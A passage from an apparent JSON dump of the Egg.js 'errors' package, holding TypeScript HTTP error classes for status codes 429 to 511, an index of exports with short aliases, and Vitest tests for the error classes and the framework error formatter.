    "content": "import { HttpError } from './http_error.ts';\n\nexport class TooManyRequestsError extends HttpError {\n  constructor(message?: string) {\n    const status = 429;\n    const code = 'TOO_MANY_REQUESTS';\n    message = message ?? 'Too Many Requests';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/431.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class RequestHeaderFieldsTooLargeError extends HttpError {\n  constructor(message?: string) {\n    const status = 431;\n    const code = 'REQUEST_HEADER_FIELDS_TOO_LARGE';\n    message = message ?? 'Request Header Fields Too Large';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/451.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UnavailableForLegalReasonsError extends HttpError {\n  constructor(message?: string) {\n    const status = 451;\n    const code = 'UNAVAILABLE_FOR_LEGAL_REASONS';\n    message = message ?? 'Unavailable For Legal Reasons';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/500.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class InternalServerError extends HttpError {\n  constructor(message?: string) {\n    const status = 500;\n    const code = 'INTERNAL_SERVER_ERROR';\n    message = message ?? 'Internal Server Error';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/501.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class NotImplementedError extends HttpError {\n  constructor(message?: string) {\n    const status = 501;\n    const code = 'NOT_IMPLEMENTED';\n    message = message ?? 'Not Implemented';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/502.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class BadGatewayError extends HttpError {\n  constructor(message?: string) {\n    const status = 502;\n    const code = 'BAD_GATEWAY';\n    message = message ?? 'Bad Gateway';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/503.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ServiceUnavailableError extends HttpError {\n  constructor(message?: string) {\n    const status = 503;\n    const code = 'SERVICE_UNAVAILABLE';\n    message = message ?? 'Service Unavailable';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/504.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class GatewayTimeoutError extends HttpError {\n  constructor(message?: string) {\n    const status = 504;\n    const code = 'GATEWAY_TIMEOUT';\n    message = message ?? 'Gateway Timeout';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/505.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class HTTPVersionNotSupportedError extends HttpError {\n  constructor(message?: string) {\n    const status = 505;\n    const code = 'HTTP_VERSION_NOT_SUPPORTED';\n    message = message ?? 'HTTP Version Not Supported';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/506.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class VariantAlsoNegotiatesError extends HttpError {\n  constructor(message?: string) {\n    const status = 506;\n    const code = 'VARIANT_ALSO_NEGOTIATES';\n    message = message ?? 'Variant Also Negotiates';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/507.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class InsufficientStorageError extends HttpError {\n  constructor(message?: string) {\n    const status = 507;\n    const code = 'INSUFFICIENT_STORAGE';\n    message = message ?? 'Insufficient Storage';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/508.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class LoopDetectedError extends HttpError {\n  constructor(message?: string) {\n    const status = 508;\n    const code = 'LOOP_DETECTED';\n    message = message ?? 'Loop Detected';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/509.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class BandwidthLimitExceededError extends HttpError {\n  constructor(message?: string) {\n    const status = 509;\n    const code = 'BANDWIDTH_LIMIT_EXCEEDED';\n    message = message ?? 'Bandwidth Limit Exceeded';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/510.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class NotExtendedError extends HttpError {\n  constructor(message?: string) {\n    const status = 510;\n    const code = 'NOT_EXTENDED';\n    message = message ?? 'Not Extended';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/511.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class NetworkAuthenticationRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 511;\n    const code = 'NETWORK_AUTHENTICATION_REQUIRED';\n    message = message ?? 'Network Authentication Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/http_error.ts",
    "content": "import { EggBaseError } from '../base_error.ts';\nimport type { HttpErrorOptions } from './http_error_options.ts';\nimport type { HttpHeader } from './http_header.ts';\n\nexport class HttpError extends EggBaseError<HttpErrorOptions> {\n  public status: number;\n  public headers: HttpHeader;\n  declare protected options: HttpErrorOptions;\n\n  constructor(options?: HttpErrorOptions) {\n    super(options);\n\n    this.status = this.options.status;\n    this.headers = this.options.headers ?? {};\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/http_error_options.ts",
    "content": "import type { ErrorOptions } from '../error_options.ts';\nimport type { HttpHeader } from './http_header.ts';\n\nexport interface HttpErrorOptions extends ErrorOptions {\n  status: number;\n  headers?: HttpHeader;\n}\n"
  },
  {
    "path": "packages/errors/src/http/http_header.ts",
    "content": "export interface HttpHeader {\n  [key: string]: any;\n}\n"
  },
  {
    "path": "packages/errors/src/index.ts",
    "content": "// base error\nexport * from './base_error.ts';\nexport * from './base_exception.ts';\nexport * from './error_options.ts';\nexport * from './error_type.ts';\n\n// error and exception\nexport * from './error.ts';\nexport * from './exception.ts';\n\n// framework error and formatter\nexport * from './framework/framework_base_error.ts';\nexport * from './framework/formatter.ts';\n/**\n * @deprecated use FrameworkErrorFormatter instead\n * keep this for compatible\n */\nexport { FrameworkErrorFormatter as FrameworkErrorFormater } from './framework/formatter.ts';\n\n// http error\nexport * from './http/http_error.ts';\n\n// http error 400 ~ 511\nexport { BadRequestError, BadRequestError as E400 } from './http/400.ts';\nexport { UnauthorizedError, UnauthorizedError as E401 } from './http/401.ts';\nexport { PaymentRequiredError, PaymentRequiredError as E402 } from './http/402.ts';\nexport { ForbiddenError, ForbiddenError as E403 } from './http/403.ts';\nexport { NotFoundError, NotFoundError as E404 } from './http/404.ts';\nexport { MethodNotAllowedError, MethodNotAllowedError as E405 } from './http/405.ts';\nexport { NotAcceptableError, NotAcceptableError as E406 } from './http/406.ts';\nexport { ProxyAuthenticationRequiredError, ProxyAuthenticationRequiredError as E407 } from './http/407.ts';\nexport { RequestTimeoutError, RequestTimeoutError as E408 } from './http/408.ts';\nexport { ConflictError, ConflictError as E409 } from './http/409.ts';\nexport { GoneError, GoneError as E410 } from './http/410.ts';\nexport { LengthRequiredError, LengthRequiredError as E411 } from './http/411.ts';\nexport { PreconditionFailedError, PreconditionFailedError as E412 } from './http/412.ts';\nexport { PayloadTooLargeError, PayloadTooLargeError as E413 } from './http/413.ts';\nexport { URITooLongError, URITooLongError as E414 } from './http/414.ts';\nexport { UnsupportedMediaTypeError, UnsupportedMediaTypeError as E415 } from './http/415.ts';\nexport { RangeNotSatisfiableError, RangeNotSatisfiableError as E416 } from './http/416.ts';\nexport { ExpectationFailedError, ExpectationFailedError as E417 } from './http/417.ts';\nexport { ImATeapotError, ImATeapotError as E418 } from './http/418.ts';\nexport { MisdirectedRequestError, MisdirectedRequestError as E421 } from './http/421.ts';\nexport { UnprocessableEntityError, UnprocessableEntityError as E422 } from './http/422.ts';\nexport { LockedError, LockedError as E423 } from './http/423.ts';\nexport { FailedDependencyError, FailedDependencyError as E424 } from './http/424.ts';\nexport { UnorderedCollectionError, UnorderedCollectionError as E425 } from './http/425.ts';\nexport { UpgradeRequiredError, UpgradeRequiredError as E426 } from './http/426.ts';\nexport { PreconditionRequiredError, PreconditionRequiredError as E428 } from './http/428.ts';\nexport { TooManyRequestsError, TooManyRequestsError as E429 } from './http/429.ts';\nexport { RequestHeaderFieldsTooLargeError, RequestHeaderFieldsTooLargeError as E431 } from './http/431.ts';\nexport { UnavailableForLegalReasonsError, UnavailableForLegalReasonsError as E451 } from './http/451.ts';\nexport { InternalServerError, InternalServerError as E500 } from './http/500.ts';\nexport { NotImplementedError, NotImplementedError as E501 } from './http/501.ts';\nexport { BadGatewayError, BadGatewayError as E502 } from './http/502.ts';\nexport { ServiceUnavailableError, ServiceUnavailableError as E503 } from './http/503.ts';\nexport { GatewayTimeoutError, GatewayTimeoutError as E504 } from './http/504.ts';\nexport { HTTPVersionNotSupportedError, HTTPVersionNotSupportedError as E505 } from './http/505.ts';\nexport { VariantAlsoNegotiatesError, VariantAlsoNegotiatesError as E506 } from './http/506.ts';\nexport { InsufficientStorageError, InsufficientStorageError as E507 } from './http/507.ts';\nexport { LoopDetectedError, LoopDetectedError as E508 } from './http/508.ts';\nexport { BandwidthLimitExceededError, BandwidthLimitExceededError as E509 } from './http/509.ts';\nexport { NotExtendedError, NotExtendedError as E510 } from './http/510.ts';\nexport { NetworkAuthenticationRequiredError, NetworkAuthenticationRequiredError as E511 } from './http/511.ts';\n"
  },
  {
    "path": "packages/errors/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`export all should stable 1`] = `\n{\n  \"BadGatewayError\": [Function],\n  \"BadRequestError\": [Function],\n  \"BandwidthLimitExceededError\": [Function],\n  \"ConflictError\": [Function],\n  \"E400\": [Function],\n  \"E401\": [Function],\n  \"E402\": [Function],\n  \"E403\": [Function],\n  \"E404\": [Function],\n  \"E405\": [Function],\n  \"E406\": [Function],\n  \"E407\": [Function],\n  \"E408\": [Function],\n  \"E409\": [Function],\n  \"E410\": [Function],\n  \"E411\": [Function],\n  \"E412\": [Function],\n  \"E413\": [Function],\n  \"E414\": [Function],\n  \"E415\": [Function],\n  \"E416\": [Function],\n  \"E417\": [Function],\n  \"E418\": [Function],\n  \"E421\": [Function],\n  \"E422\": [Function],\n  \"E423\": [Function],\n  \"E424\": [Function],\n  \"E425\": [Function],\n  \"E426\": [Function],\n  \"E428\": [Function],\n  \"E429\": [Function],\n  \"E431\": [Function],\n  \"E451\": [Function],\n  \"E500\": [Function],\n  \"E501\": [Function],\n  \"E502\": [Function],\n  \"E503\": [Function],\n  \"E504\": [Function],\n  \"E505\": [Function],\n  \"E506\": [Function],\n  \"E507\": [Function],\n  \"E508\": [Function],\n  \"E509\": [Function],\n  \"E510\": [Function],\n  \"E511\": [Function],\n  \"EggBaseError\": [Function],\n  \"EggBaseException\": [Function],\n  \"EggError\": [Function],\n  \"EggException\": [Function],\n  \"ErrorType\": {\n    \"BUILTIN\": \"BUILTIN\",\n    \"ERROR\": \"ERROR\",\n    \"EXCEPTION\": \"EXCEPTION\",\n  },\n  \"ExpectationFailedError\": [Function],\n  \"FRAMEWORK_ERROR_SYMBOL\": Symbol(FrameworkBaseError),\n  \"FailedDependencyError\": [Function],\n  \"ForbiddenError\": [Function],\n  \"FrameworkBaseError\": [Function],\n  \"FrameworkErrorFormater\": [Function],\n  \"FrameworkErrorFormatter\": [Function],\n  \"GatewayTimeoutError\": [Function],\n  \"GoneError\": [Function],\n  \"HTTPVersionNotSupportedError\": [Function],\n  \"HttpError\": [Function],\n  \"ImATeapotError\": [Function],\n  \"InsufficientStorageError\": [Function],\n  \"InternalServerError\": [Function],\n  \"LengthRequiredError\": [Function],\n  \"LockedError\": [Function],\n  \"LoopDetectedError\": [Function],\n  \"MethodNotAllowedError\": [Function],\n  \"MisdirectedRequestError\": [Function],\n  \"NetworkAuthenticationRequiredError\": [Function],\n  \"NotAcceptableError\": [Function],\n  \"NotExtendedError\": [Function],\n  \"NotFoundError\": [Function],\n  \"NotImplementedError\": [Function],\n  \"PayloadTooLargeError\": [Function],\n  \"PaymentRequiredError\": [Function],\n  \"PreconditionFailedError\": [Function],\n  \"PreconditionRequiredError\": [Function],\n  \"ProxyAuthenticationRequiredError\": [Function],\n  \"RangeNotSatisfiableError\": [Function],\n  \"RequestHeaderFieldsTooLargeError\": [Function],\n  \"RequestTimeoutError\": [Function],\n  \"ServiceUnavailableError\": [Function],\n  \"TooManyRequestsError\": [Function],\n  \"URITooLongError\": [Function],\n  \"UnauthorizedError\": [Function],\n  \"UnavailableForLegalReasonsError\": [Function],\n  \"UnorderedCollectionError\": [Function],\n  \"UnprocessableEntityError\": [Function],\n  \"UnsupportedMediaTypeError\": [Function],\n  \"UpgradeRequiredError\": [Function],\n  \"VariantAlsoNegotiatesError\": [Function],\n}\n`;\n"
  },
  {
    "path": "packages/errors/test/error.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport {\n  EggBaseError,\n  EggBaseException,\n  EggError,\n  EggException,\n  type ErrorOptions,\n  NotFoundError,\n  InternalServerError,\n} from '../src/index.ts';\n\ndescribe('test/error.test.ts', () => {\n  describe('base error', () => {\n    it('should instantiate without params', () => {\n      const err = new EggBaseError();\n      expect(err.code).toBe('');\n      expect(err.message).toBe('');\n      expect(err.name).toBe('EggBaseError');\n    });\n\n    it('should instantiate with object', () => {\n      const err = new EggBaseError({\n        code: 'CODE',\n        message: 'error',\n      });\n      expect(err.code).toBe('CODE');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('EggBaseError');\n    });\n  });\n\n  describe('error', () => {\n    it('should instantiate without params', () => {\n      const err = new EggError();\n      expect(err.code).toBe('EGG_ERROR');\n      expect(err.message).toBe('');\n      expect(err.name).toBe('EggError');\n    });\n\n    it('should instantiate with object', () => {\n      const err = new EggError('egg error');\n      expect(err.code).toBe('EGG_ERROR');\n      expect(err.message).toBe('egg error');\n      expect(err.name).toBe('EggError');\n    });\n  });\n\n  describe('base exception', () => {\n    it('should instantiate without params', () => {\n      const err = new EggBaseException();\n      expect(err.code).toBe('');\n      expect(err.message).toBe('');\n      expect(err.name).toBe('EggBaseException');\n    });\n\n    it('should instantiate with object', () => {\n      const err = new EggBaseException({\n        code: 'CODE',\n        message: 'error',\n      });\n      expect(err.code).toBe('CODE');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('EggBaseException');\n    });\n  });\n\n  describe('exception', () => {\n    it('should instantiate without params', () => {\n      const err = new EggException();\n      expect(err.code).toBe('EGG_EXCEPTION');\n      expect(err.message).toBe('');\n      expect(err.name).toBe('EggException');\n    });\n\n    it('should instantiate with object', () => {\n      const err = new EggException('egg exception');\n      expect(err.code).toBe('EGG_EXCEPTION');\n      expect(err.message).toBe('egg exception');\n      expect(err.name).toBe('EggException');\n    });\n  });\n\n  describe('getType', () => {\n    it('should return ERROR', () => {\n      const err = new EggBaseError();\n      expect(EggBaseError.getType(err)).toBe('ERROR');\n    });\n\n    it('should return EXCEPTION', () => {\n      const err = new EggBaseException();\n      expect(EggBaseError.getType(err)).toBe('EXCEPTION');\n    });\n\n    it('should return BUILTIN', () => {\n      const err = new Error();\n      expect(EggBaseError.getType(err)).toBe('BUILTIN');\n    });\n  });\n\n  describe('from', () => {\n    it('should create Error', () => {\n      const now = Date.now();\n      const err = new Error('error message');\n      // @ts-expect-error test\n      err.time = now;\n      const err2 = EggBaseError.from(err);\n      expect(err2.code).toBe('');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('EggBaseError');\n      expect(err2.stack).toBe(err.stack);\n      expect(err2.time).toBe(now);\n      expect(EggBaseError.getType(err2)).toBe('ERROR');\n    });\n\n    it('should create Exception', () => {\n      const err = new Error('error message');\n      const err2 = EggBaseException.from(err);\n      expect(err2.code).toBe('');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('EggBaseException');\n      expect(err2.stack).toBe(err.stack);\n      expect(EggBaseException.getType(err2)).toBe('EXCEPTION');\n    });\n\n    it('should create custom Error', () => {\n      class CustomError extends EggBaseError<ErrorOptions> {\n        public data: object;\n      }\n      const err = new Error('error message');\n      const err2 = CustomError.from(err);\n      expect(err2.code).toBe('');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('CustomError');\n      expect(err2.stack).toBe(err.stack);\n    });\n\n    it('should create custom Error with constructor params', () => {\n      interface CustomErrorOptions extends ErrorOptions {\n        add: string;\n      }\n\n      class CustomError extends EggBaseError<CustomErrorOptions> {\n        custom: boolean;\n        constructor(options: CustomErrorOptions, custom: boolean) {\n          super(options);\n          this.custom = custom;\n        }\n      }\n      const err = new Error('error message');\n      const err2 = CustomError.from(err, { code: 'CustomCode', message: 'custom message', add: '' }, true);\n      expect(err2.code).toBe('CustomCode');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('CustomError');\n      expect(err2.stack).toBe(err.stack);\n      expect(err2.custom).toBe(true);\n    });\n\n    it('should create custom Error not whit constructor params', () => {\n      interface CustomErrorOptions extends ErrorOptions {\n        add: string;\n      }\n\n      class CustomError extends EggBaseError<CustomErrorOptions> {\n        custom: boolean;\n        constructor(options: CustomErrorOptions, custom: boolean) {\n          super(options);\n          this.custom = custom;\n        }\n      }\n      const err = new Error('error message');\n      const err2 = CustomError.from(err);\n      expect(err2.code).toBe('');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('CustomError');\n      expect(err2.stack).toBe(err.stack);\n      expect(err2.custom).toBe(undefined);\n    });\n\n    it('should create http Error', () => {\n      const err = new Error('error message');\n      const err2 = InternalServerError.from(err);\n      expect(err2.code).toBe('INTERNAL_SERVER_ERROR');\n      expect(err2.message).toBe('error message');\n      expect(err2.name).toBe('InternalServerError');\n      expect(err2.stack).toBe(err.stack);\n    });\n  });\n\n  describe('extendable', () => {\n    it('custom error', () => {\n      class CustomError extends EggBaseError<ErrorOptions> {}\n      const err = new CustomError({\n        code: 'CODE',\n        message: 'error',\n      });\n      expect(err.code).toBe('CODE');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('CustomError');\n    });\n\n    it('custom error with options', () => {\n      interface CustomErrorOptions extends ErrorOptions {\n        data: object;\n      }\n      class CustomError extends EggBaseError<CustomErrorOptions> {\n        public data: object;\n        declare protected options: CustomErrorOptions;\n\n        constructor(options?: CustomErrorOptions) {\n          super(options);\n          this.data = this.options.data;\n        }\n      }\n      const err = new CustomError({\n        code: 'CODE',\n        data: { a: 1 },\n        message: 'error',\n      });\n      expect(err.code).toBe('CODE');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('CustomError');\n      expect(err.data).toEqual({ a: 1 });\n    });\n  });\n\n  describe('header', () => {\n    it('should has default header', () => {\n      const err = new NotFoundError('sth not found');\n      err.headers['Retry-After'] = 120;\n    });\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/framework/formatter.test.ts",
    "content": "import * as os from 'os';\n\nimport { describe, it, afterEach, expect, vi } from 'vitest';\n\nimport { FrameworkErrorFormatter, FrameworkBaseError } from '../../src/index.ts';\n\nconst hostname = os.hostname();\n\ndescribe('test/framework/formatter.test.ts', () => {\n  afterEach(() => vi.restoreAllMocks());\n  class CustomError extends FrameworkBaseError {\n    get module() {\n      return 'customPlugin';\n    }\n  }\n  describe('format', () => {\n    it('should format FrameworkError', () => {\n      const err = new CustomError('error', '00', 'errorContext');\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message).toContain('framework.CustomError: error [ https://eggjs.org/faq/customPlugin_00 ]');\n      expect(message).toContain('code: customPlugin_00');\n      expect(message).toContain('serialNumber: 00');\n      expect(message).toContain('errorContext: \"errorContext\"');\n      expect(message).toMatch(/pid:\\s\\d+/);\n      expect(message).toContain(`hostname: ${hostname}`);\n      expect(message).not.toContain('message: error');\n      expect(message).not.toContain('name: CustomError');\n      expect(message).not.toContain('options:');\n    });\n\n    it('should format normal error', () => {\n      const err = new Error('error');\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message).toContain('framework.Error: error');\n      expect(message).not.toContain('[ https://www.xxx.com/faq');\n      expect(message).toMatch(/pid:\\s\\d+/);\n      expect(message).toContain(`hostname: ${hostname}`);\n    });\n\n    it('should format complex errorContext', () => {\n      const err = new CustomError('error', '00', {\n        str: 'str',\n        num: 123,\n        obj: {\n          buf: Buffer.from('aaa'),\n          obj: {\n            date: new Date(),\n            obj: {\n              arr: ['abc', 123],\n            },\n          },\n          arr: [false, true],\n        },\n      });\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message).toMatch(\n        /errorContext: \\{\"str\":\"str\",\"num\":123,\"obj\":\\{\"buf\":\\{\"type\":\"Buffer\",\"data\":\\[97,97,97\\]\\},\"obj\":\\{\"date\":\".*\",\"obj\":\\{\"arr\":\\[\"abc\",123\\]\\}\\},\"arr\":\\[false,true\\]\\}\\}/,\n      );\n    });\n\n    it('should use default faqPrefix', () => {\n      const err = new CustomError('error', '00');\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message).toContain('framework.CustomError: error [ https://eggjs.org/faq/customPlugin_00 ]');\n    });\n\n    it('should use faqPrefixEnv', () => {\n      // @ts-expect-error ignore\n      vi.spyOn(FrameworkErrorFormatter, 'faqPrefixEnv', 'get').mockReturnValue('https://www.custom.com/faq');\n      const err = new CustomError('error', '00');\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message).toContain('framework.CustomError: error [ https://www.custom.com/faq/customPlugin_00 ]');\n    });\n  });\n\n  describe('extendable', () => {\n    it('custom formatter should work', () => {\n      class CustomErrorFormatter extends FrameworkErrorFormatter {\n        static faqPrefix = 'http://custom/faq';\n      }\n      const err = new CustomError('error', '00');\n      const message = CustomErrorFormatter.format(err);\n      expect(message).toContain('framework.CustomError: error [ http://custom/faq/customPlugin_00 ]');\n    });\n  });\n\n  describe('formatError', () => {\n    it('should format FrameworkError', () => {\n      let err = new CustomError('error', '00', 'errorContext');\n      err = FrameworkErrorFormatter.formatError(err);\n      expect(err.message).toBe('error [ https://eggjs.org/faq/customPlugin_00 ]');\n    });\n\n    it('should format normal error', () => {\n      let err = new Error('error');\n      err = FrameworkErrorFormatter.formatError(err);\n      expect(err.message).toBe('error');\n    });\n\n    it('should use default faqPrefix', () => {\n      let err = new CustomError('error', '00');\n      err = FrameworkErrorFormatter.formatError(err);\n      expect(err.message).toBe('error [ https://eggjs.org/faq/customPlugin_00 ]');\n    });\n\n    it('should use faqPrefixEnv', () => {\n      // @ts-expect-error ignore\n      vi.spyOn(FrameworkErrorFormatter, 'faqPrefixEnv', 'get').mockReturnValue('https://www.custom.com/faq');\n      let err = new CustomError('error', '00');\n      err = FrameworkErrorFormatter.formatError(err);\n      expect(err.message).toBe('error [ https://www.custom.com/faq/customPlugin_00 ]');\n    });\n\n    it('will not append faq twice', () => {\n      let err = new CustomError('error', '00', 'errorContext');\n      err = FrameworkErrorFormatter.formatError(err);\n      const message = FrameworkErrorFormatter.format(err);\n      expect(message.split('https://eggjs.org/faq').length).toBe(2);\n    });\n\n    describe('extendable', () => {\n      it('custom formatter should work', () => {\n        class CustomErrorFormatter extends FrameworkErrorFormatter {\n          static faqPrefix = 'http://custom/faq';\n        }\n        let err = new CustomError('error', '00');\n        err = CustomErrorFormatter.formatError(err);\n        expect(err.message).toBe('error [ http://custom/faq/customPlugin_00 ]');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/framework/framework_base_error.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport { FrameworkBaseError } from '../../src/index.ts';\n\ndescribe('test/framework/framework_base_error.test.ts', () => {\n  describe('invalid', () => {\n    it('should throw error when message or serialNumber empty', () => {\n      expect(() => {\n        // @ts-expect-error ignore\n        new FrameworkBaseError();\n      }).throws(/message is required/);\n\n      expect(() => {\n        // @ts-expect-error ignore\n        new FrameworkBaseError('error');\n      }).throws(/serialNumber is required/);\n    });\n\n    it('should throw error use FrameworkBaseError directly', () => {\n      expect(() => {\n        new FrameworkBaseError('error', '0').module;\n      }).throws(/module should be implement/);\n    });\n  });\n\n  describe('extendable', () => {\n    class CustomError extends FrameworkBaseError {\n      get module() {\n        return 'customPlugin';\n      }\n    }\n\n    it('custom error should work', () => {\n      const err = new CustomError('error', '00');\n      expect(err.module).toBe('customPlugin');\n      expect(err.code).toBe('customPlugin_00');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('CustomError');\n      expect(err.serialNumber).toBe('00');\n      expect(err.errorContext).toBe('');\n    });\n\n    it('serialNumber type number should work', () => {\n      const err = new CustomError('error', 123);\n      expect(err.module).toBe('customPlugin');\n      expect(err.code).toBe('customPlugin_123');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('CustomError');\n      expect(err.serialNumber).toBe('123');\n      expect(err.errorContext).toBe('');\n    });\n\n    it('errorContext should work', () => {\n      const err = new CustomError('error', 1, { traceId: 'xxx' });\n      expect(err.module).toBe('customPlugin');\n      expect(err.code).toBe('customPlugin_1');\n      expect(err.message).toBe('error');\n      expect(err.name).toBe('CustomError');\n      expect(err.serialNumber).toBe('1');\n      expect(err.errorContext).toEqual({ traceId: 'xxx' });\n    });\n  });\n\n  describe('static method', () => {\n    class TestError extends FrameworkBaseError {\n      get module() {\n        return 'TEST';\n      }\n    }\n\n    it('should create static method work', async () => {\n      const err = TestError.create('mock error', 'CODE', { data: 'data' });\n      expect(err.module).toBe('TEST');\n      expect(err.code).toBe('TEST_CODE');\n      expect(err.message).toBe('mock error [ https://eggjs.org/faq/TEST_CODE ]');\n      expect(err.serialNumber).toBe('CODE');\n      expect(err.errorContext).toEqual({ data: 'data' });\n      expect(err.stack).not.toContain('Function.create');\n    });\n\n    it('should isFrameworkError static method work', async () => {\n      const err1 = TestError.create('mock error', 'CODE', { data: 'data' });\n      const err2 = new TestError('mock error', 'CODE');\n      const err3 = new Error('xxx');\n\n      expect(FrameworkBaseError.isFrameworkError(err1)).toBe(true);\n      expect(FrameworkBaseError.isFrameworkError(err2)).toBe(true);\n      expect(FrameworkBaseError.isFrameworkError(err3)).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/400.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { BadRequestError, E400 } from '../../src/index.ts';\n\ndescribe('test/http/400.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new BadRequestError();\n    assert(err.code === 'BAD_REQUEST');\n    assert(err.message === 'Bad Request');\n    assert(err.name === 'BadRequestError');\n    assert(err.status === 400);\n  });\n\n  it('should alias to short name E400', () => {\n    const err = new E400();\n    assert(err.code === 'BAD_REQUEST');\n    assert(err.message === 'Bad Request');\n    assert(err.name === 'BadRequestError');\n    assert(err.status === 400);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/401.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { UnauthorizedError, E401 } from '../../src/index.ts';\n\ndescribe('test/http/401.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new UnauthorizedError();\n    assert(err.code === 'UNAUTHORIZED');\n    assert(err.message === 'Unauthorized');\n    assert(err.name === 'UnauthorizedError');\n    assert(err.status === 401);\n  });\n\n  it('should alias to short name E401', () => {\n    const err = new E401();\n    assert(err.code === 'UNAUTHORIZED');\n    assert(err.message === 'Unauthorized');\n    assert(err.name === 'UnauthorizedError');\n    assert(err.status === 401);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/402.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { PaymentRequiredError, E402 } from '../../src/index.ts';\n\ndescribe('test/http/402.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new PaymentRequiredError();\n    assert(err.code === 'PAYMENT_REQUIRED');\n    assert(err.message === 'Payment Required');\n    assert(err.name === 'PaymentRequiredError');\n    assert(err.status === 402);\n  });\n\n  it('should alias to short name E402', () => {\n    const err = new E402();\n    assert(err.code === 'PAYMENT_REQUIRED');\n    assert(err.message === 'Payment Required');\n    assert(err.name === 'PaymentRequiredError');\n    assert(err.status === 402);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/403.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { ForbiddenError, E403 } from '../../src/index.ts';\n\ndescribe('test/http/403.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new ForbiddenError();\n    assert(err.code === 'FORBIDDEN');\n    assert(err.message === 'Forbidden');\n    assert(err.name === 'ForbiddenError');\n    assert(err.status === 403);\n  });\n\n  it('should alias to short name E403', () => {\n    const err = new E403();\n    assert(err.code === 'FORBIDDEN');\n    assert(err.message === 'Forbidden');\n    assert(err.name === 'ForbiddenError');\n    assert(err.status === 403);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/404.test.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport { describe, it } from 'vitest';\n\nimport { NotFoundError, E404 } from '../../src/index.ts';\n\ndescribe('test/http/404.test.ts', () => {\n  it('should instantiate', () => {\n    const err = new NotFoundError();\n    assert(err.code === 'NOT_FOUND');\n    assert(err.message === 'Not Found');\n    assert(err.name === 'NotFoundError');\n    assert(err.status === 404);\n  });\n\n  it('should alias to short name E404', () => {\n    const err = new E404();\n    assert(err.code === 'NOT_FOUND');\n    assert(err.message === 'Not Found');\n    assert(err.name === 'NotFoundError');\n    assert(err.status === 404);\n  });\n});\n"
  },
  {
    "path": "packages/errors/test/http/405.test.ts",
